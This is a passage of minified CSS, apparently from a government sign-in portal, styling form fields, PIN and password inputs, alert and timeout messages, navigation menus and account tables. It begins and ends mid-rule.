(min-width:576px){form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{max-width:42em}}form [type='text']:disabled,form [type='number']:disabled,form [type='tel']:disabled,form [type='email']:disabled,form [type='password']:disabled,form textarea:disabled,form [type='radio']:disabled,form [type='checkbox']:disabled,form [disabled][type='text'],form [disabled][type='number'],form [disabled][type='tel'],form [disabled][type='email'],form [disabled][type='password'],form textarea[disabled],form [disabled][type='radio'],form [disabled][type='checkbox']{cursor:not-allowed;background:#ccc;border:2px solid #ccc}.help-text{color:#666;font-size:.9rem}.hidden{display:none}.security-code,input.security-code{width:12em}input.medium-field{width:20em}form fieldset,form p{margin:1.2em 0 1.2em 0;padding:0;border:0}form fieldset{margin-top:1rem}form legend{border-bottom:1px #999 solid;margin-bottom:16px;font-size:1.375rem;width:100%}form legend.non-heading{border-bottom:0;font-size:1em}form legend.std-Legend{border-bottom:0;margin-bottom:0;padding-top:1.2em;font-size:1.125rem}form label,form .std-Legend{display:block;font-size:1rem;margin-bottom:.4em;position:relative;margin-top:1.2em}@media screen and (min-width:576px){form label,form .std-Legend{max-width:42em}}form label span#sqa{display:inline-block;margin-bottom:1.2em}form .hint{display:block;margin-bottom:.4em;font-size:.875rem;color:#333}form .password-group [type='password'],form .password-group [type='text']{padding-right:70px}form .input-group,form .password-group{position:relative;max-width:42em}form .showPassword{position:absolute;top:0;right:0;background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:.5em;text-decoration:underline;height:100%}form .showPassword:focus{border:1px solid #999;border-left-color:transparent}form .showPassword:focus:hover{color:#fff;background-color:#0f6493;border-color:#0f6493}.hasError .showPassword:focus,.hasError .showPassword:hover{padding:11px 10px}.hasError .showPassword:focus{background-color:transparent}form .showPin{background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:0;text-decoration:underline;height:1.6em;white-space:normal;display:inline-block;font:inherit;margin:0 0 .5em 0;outline:0;text-align:center;width:auto;float:right}form .showPin img{text-decoration:underline}form .showPin:focus:hover{border:1px solid #0f6493}.hasError .showPin:focus,.hasError .showPassword:hover{padding:.5em}.hasError .showPin:focus{background-color:transparent}form textarea{resize:vertical}form [type='radio'],form [type='checkbox']{height:1px;left:-10000px;position:absolute;visibility:visible;width:1px}form [type='radio']:hover+label,form [type='checkbox']:hover+label{cursor:pointer}form [type='radio']:invalid+label,form [type='checkbox']:invalid+label{color:#b7202d}form [type='radio']:invalid+label::before,form [type='checkbox']:invalid+label::before{border-color:#b7202d}form [type='radio']:disabled+label,form [type='radio'][disabled]+label,form [type='checkbox']:disabled+label,form [type='checkbox'][disabled]+label{cursor:default;color:#666}form [type='radio']:disabled+label::before,form [type='radio'][disabled]+label::before,form [type='checkbox']:disabled+label::before,form [type='checkbox'][disabled]+label::before{background-color:#ccc}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem;margin-bottom:.5em;padding:9px 0 6px 40px;margin-top:0;position:relative;width:100%;max-width:37em}form [type='radio']+label::before,form [type='checkbox']+label::before{display:inline-block;height:27px;position:absolute;text-align:center;top:9px;width:27px}form [type='radio']+label::before{border:1px solid #999;border-radius:50%;content:'';left:0}form [type='radio']:checked+label::before{border-radius:50%;content:'';border-color:#333}form [type='radio']:checked+label::after{width:17px;height:17px;background-color:#333;border:1px solid transparent;border-radius:50%;content:'';left:5px;top:14px;position:absolute}form [type='checkbox']+label::before{left:0;border:1px solid #999;content:''}@media screen and (min-width:768px){form [type='checkbox']+label::before{top:9px}}form [type='checkbox']:checked+label::before{font-size:18px;content:'';background-image:url("../icons/tick.svg");background-repeat:no-repeat;background-color:#333;border-color:#333}form [type='checkbox']:checked+label::after{width:17px;height:17px;border:1px solid transparent;content:'';left:25px;top:18px;position:absolute}@media screen and (min-width:768px){form [type='checkbox']:checked+label::after{top:14px}}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{font-size:100%;line-height:1.35;margin:0;margin-bottom:.8em}select.chosen-select{width:100%}.chosen-container-active{outline:0;outline:4px solid #666;outline-offset:1px}.date-fields span,.poro-date-fields span{display:-moz-inline-stack;display:inline-block;margin-bottom:.5em;width:4em}.date-fields p,.poro-date-fields p{margin:0}.pincode-container{display:table}.pincode-input-container{display:block}.pincode-input-container span.hasError{display:inline!important}.pincode-input-container input.last{border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:65px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:48px;padding:6px 0 6px 25px;margin:0 -48px 0 0;height:65px;font-size:30px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:260px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}.pin-fields{margin:0 0 1em 0;position:relative}.pin-fields span{margin-bottom:.5em;width:60px;height:60px;margin-right:.1em}.pin-fields input{width:60px;height:60px;padding-left:40%;display:block}.pin-fields input::-moz-selection{background:transparent}.pin-fields input::selection{background:transparent}.pin-fields p{margin:0}.pin-fields a{margin:1em 0}.pin-fields2{margin:0 0 1em 0;position:relative}.pin-fields2 input{margin:auto auto .5em auto}.pin-fields2 input::-moz-selection{background:transparent}.pin-fields2 input::selection{background:transparent}.pin-fields2 p{margin:0}.pin-fields2 span{text-align:centre}.pin-fields2 a{margin:1em 0}.spacing-large{letter-spacing:.9em;text-align:left;text-indent:.9em;-webkit-text-security:disc;width:6em;font-size:3.0em}@media(max-width:576px){.spacing-large{font-size:2.2em}}.underline{border:1px solid red;length:57px}#mainDiv{height:60px;width:288px;position:relative;border-bottom:2px solid #f51c40;background:#3beadc}#borderLeft{border-left:2px solid #f51c40;position:absolute;top:50%;bottom:0}div.someclass{position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid black}div.outerclass{position:relative}.conceal{-webkit-text-security:disc;box-sizing:border-box;font-family:monospace}.reveal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}#partitioned{padding-left:15px;letter-spacing:42px;border:0;background-image:-webkit-linear-gradient(right,black 70%,rgba(255,255,255,0) 0);background-image:linear-gradient(to left,black 70%,rgba(255,255,255,0) 0);background-position:bottom;background-size:50px 1px;background-repeat:repeat-x;background-position-x:35px;width:220px}.poro-date-fields span{margin-right:5px}fieldset :last-child,.optional-section :last-child,.help-content :last-child{margin-bottom:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}fieldset.button-group{margin-top:1.2em}fieldset.button-group legend{border-bottom:0;font-size:inherit}fieldset.button-group button{width:5em;padding:0;margin-bottom:.7em;margin-right:.2em;color:#666;background-color:#fff}fieldset.button-group button.active{background-color:#ccc}.progress h1{margin-bottom:0}.progress h1 .mygov-icon{height:1.2em;margin-right:.1em}.progress .code-gen{text-align:center}.section-heading,#poro-form h2,#poro-form .display,.poro-form h2,.poro-form .display{border-bottom:2px solid #333;padding-bottom:.4em;padding-top:1.2em;clear:both}.hr{border-top:1px solid #999;padding-top:1.2em}.border-top--group{border-top:1px solid #999;padding-top:1.2em}.border-top--group p:first-of-type{margin-top:0}.border-top--group label:first-of-type{margin-top:0}.border-top--group h1:first-of-type,.border-top--group h2:first-of-type,.border-top--group .display:first-of-type{margin-top:0}label[for="createQuestion"]{display:none}.extra-info{margin:0;padding:0}.extra-info--type{font-weight:bold}p.solid{border-style:solid;border-color:#b72020;padding:5px}p.solid span:first-of-type{color:#b72020}.solid2{border-style:solid;border-color:#ccc;padding:5px}.solid2 span:first-of-type{color:#b72020}.servInfoForm li a{display:inline}figure{margin:0}figure img{display:block}img{max-width:100%;height:auto}.image-inline-centre img{display:block;margin:3em auto}.image-float-right{float:right}@media only screen and (max-width:992px){.image-float-right{display:block;margin:1.5em auto;float:none}}body{color:#333}body a,body .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}body a:hover,body a:active,body .non-transition-link:hover,body .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}body a:hover .link-external,body a:active .link-external,body .non-transition-link:hover .link-external,body .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}body .force-cursor{cursor:pointer}body .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}body .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}body .see-more:hover,body .see-more:focus{color:#fff}body span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}body span.placeholder-link:hover{cursor:not-allowed}footer[role='contentinfo']{color:#333}footer[role='contentinfo'] a,footer[role='contentinfo'] .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}footer[role='contentinfo'] a:hover,footer[role='contentinfo'] a:active,footer[role='contentinfo'] .non-transition-link:hover,footer[role='contentinfo'] .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}footer[role='contentinfo'] a:hover .link-external,footer[role='contentinfo'] a:active .link-external,footer[role='contentinfo'] .non-transition-link:hover .link-external,footer[role='contentinfo'] .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}footer[role='contentinfo'] .force-cursor{cursor:pointer}footer[role='contentinfo'] .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}footer[role='contentinfo'] .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}footer[role='contentinfo'] .see-more:hover,footer[role='contentinfo'] .see-more:focus{color:#fff}footer[role='contentinfo'] span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}footer[role='contentinfo'] span.placeholder-link:hover{cursor:not-allowed}.link-arrow{display:inline-block;position:relative;color:#0f6493;text-decoration:none;margin-top:.8em;margin-bottom:.8em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.link-arrow:after{content:'';position:absolute;top:0;right:-24px;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.link-arrow-down:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-down-solid.svg")}.link-arrow-up:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-up-solid.svg")}.link-arrow:hover,.link-arrow:active{color:#fff;background-color:#0f6493;text-decoration:none}.list-unstyled{list-style-type:none;padding-left:0}.list-unstyled li{margin-bottom:0}.list-unstyled input[type='radio']+label{padding-left:42px}.list-unstyled input[type='radio']+label::before{left:0}.list-unstyled input[type='radio']:checked+label::after{left:5px}.meta-info{font-size:16px;margin-top:1em}@media screen and (min-width:768px){.meta-info{margin-top:-0.5em;margin-bottom:-1em}}.meta-info__user{color:#333}@media screen and (min-width:768px){.meta-info__user{text-align:right}}.meta-info__timestamp{color:#666}@media screen and (min-width:768px){.meta-info__timestamp{text-align:right}}.meta-info__idpSts{color:#666}@media screen and (min-width:768px){.meta-info__idpSts{text-align:right}}.overlay{background:rgba(0,0,0,0.8);height:100%;position:fixed;top:0;width:100%}.timeoutWarning{background:#fff;left:0;margin:0 1em;max-width:400px;padding:1em;position:fixed;right:0;top:10%}@media screen and (min-width:576px){.timeoutWarning{margin:0 auto;width:100%}}.timeout-time{font-weight:bold}.global-menu{display:none}@media screen and (min-width:768px){.global-menu{display:inline-block;margin-top:2px;position:relative}}.global-menu ul{list-style-type:none;margin-bottom:0;padding:0;margin-top:80px;margin-bottom:16px}@media screen and (min-width:768px){.global-menu ul{margin-left:40px;position:relative;top:22px;margin-top:0}}.global-menu ul li{border-bottom:1px solid #fff;margin-bottom:0}.global-menu ul li:first-of-type{border-top:2px solid #fff}@media screen and (min-width:768px){.global-menu ul li:first-of-type{border-top:0}}@media screen and (min-width:768px){.global-menu ul li{border:0;display:inline-block;margin-right:24px}}.global-menu a{border-left:4px solid transparent;border-bottom:0;color:#fff;display:block;padding:12px 0 12px 12px;text-decoration:none;-webkit-transition:border-left .3s,background-color .1s;transition:border-left .3s,background-color .1s;font-weight:300}@media screen and (min-width:768px){.global-menu a{border-left:none;border-bottom:4px solid transparent;padding:12px 0;-webkit-transition:border-bottom .3s,background-color .1s;transition:border-bottom .3s,background-color .1s}}.global-menu a:hover,.global-menu a:focus{background:0;border-left-color:#d7ea6a;text-decoration:underline;-webkit-transition:border-left-color .3s,background-color .1s;transition:border-left-color .3s,background-color .1s;outline:0}@media screen and (min-width:768px){.global-menu a:hover,.global-menu a:focus{border-bottom-color:#d7ea6a;text-decoration:none;-webkit-transition:border-bottom-color .3s,background-color .1s;transition:border-bottom-color .3s,background-color .1s}}.global-menu a:focus{outline:0}.global-menu a:focus span{outline:3px solid #fff;outline-offset:2px;background-color:#01462c}.global-menu a:active span{background-color:#01462c;-webkit-transition:background-color .1s;transition:background-color .1s}.global-menu .is-current{border-left-color:#d7ea6a;font-weight:bold}@media screen and (min-width:768px){.global-menu .is-current{border-bottom-color:#d7ea6a}}.open-on-mobile+.global-menu{display:inline-block;width:100%}@media screen and (min-width:768px){.open-on-mobile+.global-menu{display:inline-block;width:auto}}.menu-hitbox{border:0;cursor:pointer;display:inline-block;height:2.75rem;left:0;margin:0;padding:0;position:absolute;width:3rem;color:white;top:19px}@media screen and (min-width:768px){.menu-hitbox{display:none;margin-top:0}}.menu-hitbox:hover .text,.menu-hitbox:focus .text{text-decoration:underline}.menu-hitbox:active{background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}.menu-hitbox:focus{outline-color:#fff;outline-offset:8px}.triple-cheese-hamburger{background:0;border:0;cursor:pointer;display:inline-block;height:16px;left:0;margin:0 auto;padding:0;position:absolute;top:0;left:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.5s ease-in-out;transition:.5s ease-in-out;width:24px}.triple-cheese-hamburger span{background:#fff;border-radius:9px;display:block;height:2px;left:50%;position:absolute;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.25s ease-in-out;transition:.25s ease-in-out;width:100%}.triple-cheese-hamburger span:nth-child(1){top:0}.triple-cheese-hamburger span:nth-child(2),.triple-cheese-hamburger span:nth-child(3){top:8px}.triple-cheese-hamburger span:nth-child(4){top:16px}.open .triple-cheese-hamburger span:nth-child(1){left:100%;top:8px;width:0}.open .triple-cheese-hamburger span:nth-child(2){-webkit-transform:rotate(45deg);transform:rotate(45deg)}.open .triple-cheese-hamburger span:nth-child(3){-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.open .triple-cheese-hamburger span:nth-child(4){left:100%;top:8px;width:0}.triple-cheese-hamburger+.text{bottom:0;font-size:1rem;left:0;position:absolute;right:0;text-align:center;top:54%}.open-on-mobile+.global-menu li:focus,.open-on-mobile+.global-menu li:hover{background-color:#01462c}.open-on-mobile+.global-menu li:focus span,.open-on-mobile+.global-menu li:hover span{background-color:#01462c}.open-on-mobile+.global-menu li span{outline:0;background-color:#026540}.success-msg{background-color:#fff;border:2px solid #026540;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.success-msg:before{background-image:url("../icons/success.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.success-msg success-msg-text{max-width:42em}.success-msg[data-dismiss]{padding:.6em 4em .6em .6em}.success-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.success-msg a{display:inline}.success-msg p{margin:0;padding:2.5px 0}.error-msg{background-color:#fff;border:2px solid #b7202d;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.error-msg:before{background-image:url("../icons/error.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.error-msg error-msg-text{max-width:42em}.error-msg[data-dismiss]{padding:.6em 4em .6em .6em}.error-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.error-msg a{display:inline}.error-msg p{margin:0;padding:2.5px 0}.error-msg span{display:block;margin-bottom:1em}.info-msg{background-color:#fff;border:2px solid #0f6493;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.info-msg:before{background-image:url("../icons/info.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.info-msg info-msg-text{max-width:42em}.info-msg[data-dismiss]{padding:.6em 4em .6em .6em}.info-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.info-msg a{display:inline}.info-msg p{margin:0;padding:2.5px 0}.warning-msg{background-color:#fff;border:2px solid #f80;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.warning-msg:before{background-image:url("../icons/warning.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.warning-msg warning-msg-text{max-width:42em}.warning-msg[data-dismiss]{padding:.6em 4em .6em .6em}.warning-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.warning-msg a{display:inline}.warning-msg p{margin:0;padding:2.5px 0}span.success{color:#026540;display:block}.unsuccessful{color:#b7202d;font-weight:bold}fieldset.pin-fields.hasError{border:0}fieldset.pin-fields3.hasError{border:0}.hasError{border-left:solid 4px #b7202d;margin-left:3px;padding-left:15px}.hasError span.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError p.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError input{border:2px solid #b7202d}.hasError.pathway-link-item{border-left:solid 4px #b7202d}.hasInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;margin-bottom:1em;position:relative;max-width:42em}.hasInfo span.hasInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasInfo p{margin-top:.5em}.hasInfo--DI{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;background-color:#ebf5fb;padding:1em 2em 2em 2em;margin:1em 0;position:relative;max-width:42em}.hasInfo--DI p{margin-top:.5em}.hasInfo--DI p a{display:unset}.hasLinkInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;display:block;margin-bottom:1em;position:relative;max-width:80em}.hasLinkInfo[role='region']{display:none}.hasLinkInfo span.hasLinkInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasLinkInfo p{margin-top:.5em}.outage{background-color:#f9eedc;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;padding:8px 1em;position:relative}@media screen and (min-width:576px){.outage{padding:8px 2em}}.outage strong{color:#b7202d}.outage .expand{top:-6px;width:44px;height:44px;padding:0}.outage .expand--expanded{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.outage .expand:focus{outline-offset:-3px}.outage p{display:inline;margin:0}.outage p:before{content:'';display:block}.outage p+p:before{margin-top:1em}.outage__inner{max-width:900px;margin:0 auto;padding:0 40px 0 40px;position:relative}.outage__inner:before{background-image:url("../icons/warning-filled.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:0;position:absolute;top:0;width:30px}.outage__content{max-height:1.7em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;margin-right:1em}.outage__content--expanded{max-height:none;overflow:visible;text-overflow:clip;white-space:normal}.pathway-link-list{padding-left:0;line-height:1.6em;margin-bottom:2.5rem;border-top:2px solid #333;border-bottom:1px solid #333;width:100%;margin-top:0}.pathway-link-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.pathway-link-list li:last-of-type{border-bottom:0}.pathway-link-item{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item .hasIssues{position:relative;width:60px;height:70px;float:right;background-image:url("../icons/error-filled.svg");background-repeat:no-repeat;background-position:top center;text-align:center}.pathway-link-item .hasIssues span{color:#b7202d;position:absolute;width:100%;top:40px;right:0;font-weight:bold;font-size:87.5%;display:inline-block}.pathway-link-item.isActive{border-left:6px solid #026540}.pathway-link-item.isActive .pathway-link-indicator{color:#026540;font-weight:700;display:inline-block}.pathway-link-item.isInactive .pathway-link-indicator{color:#b7202d;font-weight:700;display:inline-block}.pathway-link-item::after{background-image:url("../icons/chevron-right.svg");content:'';width:30px;background-repeat:no-repeat;background-size:auto 100%;position:absolute;height:30px;top:50%;right:0;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.pathway-link-item:hover,.pathway-link-item:focus{background-color:#eee;color:#333}span.pathway-link-item:hover,span.pathway-link-item:focus{background-color:initial}.pathway-link-item:active{background-color:#ccc;color:#333}.pathway-link-item span{display:block}.pathway-link-item--service{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;padding-right:.8em}.pathway-link-item--service::after{content:initial;background-image:none}.pathway-link-item--service .pathway-link-service{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.pathway-link-item--service .pathway-link-service .extra-info{margin-top:.4em}.pathway-link-item--service .pathway-link-service .active{color:#026540;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-service .inactive{color:#b7202d;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-action{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;margin-left:20px}.pathway-link-item--service .pathway-link-action>[class*=' button'],.pathway-link-item--service .pathway-link-action>[class^='button']{height:auto;line-height:1.6;padding:10px;width:auto}.pathway-link-item-disable{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-disable span{display:block}.pathway-link-item-locked{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-locked img{max-width:1em}.pathway-link-title{margin-top:0;font-size:1.125rem;font-weight:700;line-height:1.4}.pathway-link-title--disable{color:#767676}.pathway-link-title--locked{margin-left:1em}.pathway-link-description--disable{color:#767676}.final-pathway{padding:0;list-style-type:none;display:inline-block;width:100%;margin-top:0}.final-pathway li{border-bottom:1px solid #ccc;margin:0}.final-pathway li:nth-child(1){border-top:2px solid #333}.final-pathway li:nth-last-child(1){border-bottom:2px solid #333}.final-pathway li:nth-child(odd){background-color:#eee}.final-pathway li .pathway-link-item::after{background-image:none}.or-break{margin-top:10px;margin-bottom:10px}.service-pathway-link .pathway-link-item{padding-top:1.5em;padding-bottom:1.5em}.uikit-skip-link{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;color:#333;line-height:1.6}.uikit-skip-link__link{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0;color:black;background-color:white}.uikit-skip-link__link:active,.uikit-skip-link__link:focus{clip:auto;height:auto;margin:0;overflow:visible;position:absolute;width:auto;font-size:21px;top:.8em;left:.8em;padding:.4em .8em;color:#333;background-color:#fff;text-decoration:none;z-index:1}table{margin-bottom:1.6em}.content-table{width:100%;border-collapse:collapse}.content-table thead tr:first-of-type{background-color:#fff}.content-table tr:nth-child(odd){background-color:#eee}.content-table td,.content-table th{border-bottom:solid 1px #ccc;padding:.4em;text-align:left}@media screen and (min-width:768px){.content-table td,.content-table th{padding:.8em;font-size:initial}}.content-table thead{border-bottom:solid 2px #333}.alert-list{width:100%;padding-left:0;margin-top:0;border:1px solid #999;border-radius:.5em}.alert-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.alert-list li:last-of-type{border-bottom:0}.alert-item{padding:1em;display:block}@media screen and (min-width:768px){.alert-item{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}}.alert-icon{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;background-color:#bfe7f6;border:0;border-radius:.25em;height:2.5em;width:2.5em;padding:.5em;text-align:center;float:left;margin:0 1em 0 0}@media screen and (min-width:768px){.alert-icon{margin:auto}}.alert-icon img{max-width:1.5em}.alert-info{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}@media screen and (min-width:768px){.alert-info{margin:0 2em auto 1em}}.alert-link{vertical-align:middle;display:block;vertical-align:middle;text-align:left;width:-webkit-max-content;width:-moz-max-content;width:max-content}@media screen and (min-width:768px){.alert-link{margin:auto 1em auto 0;display:block;text-align:right}}.alert-link .alert-link-arrow{display:block;position:relative;text-decoration:none;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color;width:-webkit-max-content;width:-moz-max-content;width:max-content;margin-top:1.5em}@media screen and (min-width:768px){.alert-link .alert-link-arrow{margin-top:0}}.alert-link .alert-link-arrow:after{content:'';position:absolute;top:0;right:-1em;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.alert-link .data-alert-dismiss-button{margin-top:1.5em}.account-history-table th:first-of-type,.account-history-table td:first-of-type{border-right:1px solid #999}.account-history-table th{display:table-cell;border-style:none;width:initial}.account-history-table th:focus{outline:-webkit-focus-ring-color auto 5px}.account-history-table th>img{vertical-align:middle}.account-history-table td{vertical-align:top}.account-history-date,.account-history-time,.account-history-comment{display:block}.hr-word{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:.5em}.hr-word span{background-color:#eee;padding:0 10px}.hr-word-mapwap{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:1.5em}.hr-word-mapwap span{background-color:#fff;padding:0 10px}.unauth .anchor{background-color:#eee}.unauth .anchor:hover{background-color:#0f6493}.unauth .wap-anchor{background-color:transparent}.unauth .wap-anchor:hover{background-color:#0f6493}.unauth .showPassword{background-color:transparent}.unauth .showPassword:hover{background-color:#0f6493}.unauth .section-heading,.unauth #poro-form h2,#poro-form .unauth h2,.unauth #poro-form .display,#poro-form .unauth .display,.unauth .poro-form h2,.poro-form .unauth h2,.unauth .poro-form .display,.poro-form .unauth .display{padding-top:0}.unauth .wrapper{padding:0}.unauth .main-block{width:100%;margin:auto}.unauth .product-description .inner,.unauth .product-description .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description .inner,.unauth .product-description .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}}.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:36px}@media screen and (min-width:992px){.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:0}}.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}.unauth .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .digital-id-inner .display:first-of-type{margin-top:0;padding-top:0}.unauth .product-description .digital-id-inner h2,.unauth .product-description .digital-id-inner .display{font-weight:600}.unauth .product-description .digital-id-inner 